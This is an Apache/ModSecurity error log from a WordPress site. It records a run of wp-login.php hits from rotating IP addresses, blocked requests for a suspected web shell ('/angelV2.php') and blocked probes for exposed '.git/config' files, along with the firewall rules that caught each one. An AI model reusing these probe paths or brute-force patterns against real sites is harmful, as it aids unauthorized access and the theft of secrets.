[Tue Dec 23 20:36:39.413289 2025] [:error] [pid 3405:tid 3449] [client 20.196.109.137:13223] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aUqM17dHHpIDpQ39rwlBfAAAAAw"]
[Tue Dec 23 20:36:40.268916 2025] [:error] [pid 25976:tid 26001] [client 20.196.109.137:13179] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aUqM2LF6LaWzQScE-xN-zAAAARc"]
[Tue Dec 23 20:36:40.923357 2025] [:error] [pid 54297:tid 54310] [client 20.196.109.137:13268] [client 20.196.109.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/angelV2.php"] [unique_id "aUqM2EZMNime0caoKPKjowAAAYk"]
[Wed Dec 24 00:03:06.762931 2025] [:error] [pid 3405:tid 3451] [client 144.31.4.188:53172] [client 144.31.4.188] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/.git/config"] [unique_id "aUq9OrdHHpIDpQ39rwl6UwAAAA4"]
[Wed Dec 24 00:03:07.971023 2025] [:error] [pid 54297:tid 54314] [client 144.31.4.188:45618] [client 144.31.4.188] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/.git/config"] [unique_id "aUq9O0ZMNime0caoKPLA-AAAAY0"]
[Wed Dec 24 02:50:53.580370 2025] [autoindex:error] [pid 17494:tid 17527] [client 83.171.248.79:55920] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Dec 24 05:04:09.501105 2025] [:error] [pid 54139:tid 54164] [client 173.239.218.6:29971] [client 173.239.218.6] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.6, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsDycrYCZenIDzgXuJiYgAAARc"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:04:17.742660 2025] [:error] [pid 16466:tid 16479] [client 216.24.210.83:42857] [client 216.24.210.83] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.83, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsD0bu0JcuKJMjJn6xirAAAAAk"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:04:24.544159 2025] [:error] [pid 16466:tid 16482] [client 98.159.37.18:38135] [client 98.159.37.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.18, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsD2Lu0JcuKJMjJn6xisQAAAAw"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:04:31.805765 2025] [:error] [pid 16467:tid 16519] [client 98.159.37.69:52213] [client 98.159.37.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.69, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsD340TJMcBxX5slgp4FgAAAFY"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:04:42.042457 2025] [:error] [pid 16466:tid 16475] [client 216.24.210.69:28653] [client 216.24.210.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.69, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsD6ru0JcuKJMjJn6xixQAAAAU"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:04:54.348704 2025] [:error] [pid 16550:tid 16552] [client 173.239.218.16:62507] [client 173.239.218.16] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.16, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsD9qYYcdD-LuO7vrDw6QAAAMA"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:05:01.532635 2025] [:error] [pid 54139:tid 54149] [client 173.239.218.14:30123] [client 173.239.218.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsD_crYCZenIDzgXuJiswAAAQg"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:05:10.886617 2025] [:error] [pid 16467:tid 16506] [client 173.239.218.12:49185] [client 173.239.218.12] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.12, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsEBo0TJMcBxX5slgp4LQAAAEk"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:05:16.448792 2025] [:error] [pid 54139:tid 54141] [client 216.24.210.74:33823] [client 216.24.210.74] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.74, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsEDMrYCZenIDzgXuJi4QAAAQA"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:05:33.450049 2025] [:error] [pid 16550:tid 16570] [client 173.239.218.13:42569] [client 173.239.218.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.13, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsEHaYYcdD-LuO7vrDxEgAAANI"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:05:43.450578 2025] [:error] [pid 16550:tid 16563] [client 98.159.37.17:48157] [client 98.159.37.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.17, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsEJ6YYcdD-LuO7vrDxHgAAAMs"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:05:52.240028 2025] [:error] [pid 16468:tid 16533] [client 216.24.210.76:50639] [client 216.24.210.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.76, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsEMIdyfuSTFLkCbP-10AAAAIk"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:05:55.896079 2025] [:error] [pid 54139:tid 54151] [client 173.239.218.9:37293] [client 173.239.218.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.9, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsEM8rYCZenIDzgXuJjXAAAAQo"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:06:08.633921 2025] [:error] [pid 16550:tid 16555] [client 173.239.218.5:59045] [client 173.239.218.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.5, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsEQKYYcdD-LuO7vrDxNAAAAMM"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:06:23.530134 2025] [:error] [pid 16467:tid 16518] [client 216.24.210.89:48795] [client 216.24.210.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.89, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsET40TJMcBxX5slgp4bAAAAFU"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:06:29.155277 2025] [:error] [pid 16466:tid 16477] [client 216.24.210.73:35603] [client 216.24.210.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.73, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsEVbu0JcuKJMjJn6xjGwAAAAc"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:07:10.622468 2025] [:error] [pid 16550:tid 16556] [client 216.24.210.91:40315] [client 216.24.210.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsEfqYYcdD-LuO7vrDxaAAAAMQ"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:07:24.795312 2025] [:error] [pid 16468:tid 16547] [client 216.24.210.46:39585] [client 216.24.210.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsEjIdyfuSTFLkCbP-2KAAAAJc"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:07:41.892043 2025] [:error] [pid 54139:tid 54146] [client 216.24.210.88:47415] [client 216.24.210.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.88, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsEncrYCZenIDzgXuJkSwAAAQU"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:07:46.708648 2025] [:error] [pid 16467:tid 16515] [client 216.24.210.72:60213] [client 216.24.210.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsEoo0TJMcBxX5slgp4qAAAAFI"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:07:56.113551 2025] [:error] [pid 54139:tid 54159] [client 216.24.210.71:52455] [client 216.24.210.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.71, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsErMrYCZenIDzgXuJkYwAAARI"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:08:12.330193 2025] [:error] [pid 54139:tid 54164] [client 216.24.210.80:53421] [client 216.24.210.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.80, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsEvMrYCZenIDzgXuJkgwAAARc"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:08:26.413379 2025] [:error] [pid 16466:tid 16489] [client 98.159.37.19:24141] [client 98.159.37.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsEyru0JcuKJMjJn6xjiAAAABM"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:09:34.285837 2025] [:error] [pid 16467:tid 16517] [client 98.159.37.13:41191] [client 98.159.37.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.13, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsFDo0TJMcBxX5slgp5KAAAAFQ"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:09:42.325413 2025] [:error] [pid 16468:tid 16542] [client 216.24.210.70:53519] [client 216.24.210.70] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.70, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsFFodyfuSTFLkCbP-3CAAAAJI"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:10:19.209442 2025] [:error] [pid 16468:tid 16535] [client 216.24.210.72:61185] [client 216.24.210.72] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.72, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsFO4dyfuSTFLkCbP-3KwAAAIs"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:10:25.810345 2025] [:error] [pid 16468:tid 16535] [client 216.24.210.76:61627] [client 216.24.210.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.76, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsFQYdyfuSTFLkCbP-3PQAAAIs"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:10:34.173719 2025] [:error] [pid 54139:tid 54151] [client 173.239.218.15:28421] [client 173.239.218.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.15, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsFSsrYCZenIDzgXuJmFQAAAQo"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:10:41.482895 2025] [:error] [pid 16466:tid 16480] [client 173.239.218.4:47175] [client 173.239.218.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.4, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsFUbu0JcuKJMjJn6xj_wAAAAo"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:10:48.395258 2025] [:error] [pid 16550:tid 16557] [client 216.24.210.68:51821] [client 216.24.210.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.68, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsFWKYYcdD-LuO7vrDySgAAAMU"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:10:55.530975 2025] [:error] [pid 16466:tid 16483] [client 98.159.37.69:40763] [client 98.159.37.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.69, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsFX7u0JcuKJMjJn6xkCQAAAA0"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:11:50.209572 2025] [:error] [pid 16550:tid 16557] [client 98.159.37.20:46335] [client 98.159.37.20] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.20, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsFlqYYcdD-LuO7vrDylQAAAMU"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:12:23.832705 2025] [:error] [pid 16466:tid 16480] [client 173.239.218.10:28321] [client 173.239.218.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.10, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsFt7u0JcuKJMjJn6xkRwAAAAo"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:12:32.656248 2025] [:error] [pid 54139:tid 54152] [client 216.24.210.86:36841] [client 216.24.210.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.86, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsFwMrYCZenIDzgXuJnCQAAAQs"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:12:43.268765 2025] [:error] [pid 16467:tid 16517] [client 173.239.218.10:58505] [client 173.239.218.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.10, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsFy40TJMcBxX5slgp6UwAAAFQ"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:12:50.044248 2025] [:error] [pid 16468:tid 16537] [client 216.24.210.77:52133] [client 216.24.210.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.77, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsF0odyfuSTFLkCbP-3zgAAAI0"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:12:57.825357 2025] [:error] [pid 16468:tid 16548] [client 216.24.210.77:52133] [client 216.24.210.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.77, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsF2YdyfuSTFLkCbP-31wAAAJg"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:13:14.724688 2025] [:error] [pid 16468:tid 16541] [client 216.24.210.47:58387] [client 216.24.210.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.47, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsF6odyfuSTFLkCbP-37gAAAJE"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:13:35.107058 2025] [:error] [pid 54139:tid 54165] [client 98.159.37.14:25597] [client 98.159.37.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsF_8rYCZenIDzgXuJnjgAAARg"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:13:41.345838 2025] [:error] [pid 16466:tid 16480] [client 216.24.210.81:44993] [client 216.24.210.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.81, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsGBbu0JcuKJMjJn6xkjgAAAAo"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:13:55.461033 2025] [:error] [pid 16467:tid 16503] [client 216.24.210.91:53193] [client 216.24.210.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.91, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsGE40TJMcBxX5slgp6qAAAAEY"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:14:07.219759 2025] [:error] [pid 16550:tid 16573] [client 173.239.218.14:33335] [client 173.239.218.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.14, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsGH6YYcdD-LuO7vrDzFgAAANU"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:14:16.836689 2025] [:error] [pid 54139:tid 54162] [client 98.159.37.17:41175] [client 98.159.37.17] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 98.159.37.17, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsGKMrYCZenIDzgXuJnwQAAARU"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:14:25.179086 2025] [:error] [pid 16468:tid 16535] [client 173.239.218.5:29207] [client 173.239.218.5] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.5, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsGMYdyfuSTFLkCbP-4JgAAAIs"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:14:32.373907 2025] [:error] [pid 16468:tid 16538] [client 173.239.218.13:20407] [client 173.239.218.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.13, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsGOIdyfuSTFLkCbP-4LQAAAI4"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:14:56.150727 2025] [:error] [pid 16550:tid 16569] [client 216.24.210.93:31571] [client 216.24.210.93] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.93, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsGUKYYcdD-LuO7vrDzQwAAANE"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:15:05.856750 2025] [:error] [pid 54139:tid 54144] [client 216.24.210.92:49125] [client 216.24.210.92] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 216.24.210.92, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsGWcrYCZenIDzgXuJn7wAAAQM"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 05:15:10.454144 2025] [:error] [pid 16466:tid 16493] [client 173.239.218.13:55249] [client 173.239.218.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.218.13, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsGXru0JcuKJMjJn6xkxwAAABc"], referer: https://vetstars.com.au/wp-admin/
[Wed Dec 24 06:46:14.527480 2025] [:error] [pid 16467:tid 16497] [client 4.196.65.89:10350] [client 4.196.65.89] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.196.65.89, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aUsbto0TJMcBxX5slgqRjwAAAEA"], referer: https://www.bing.com/
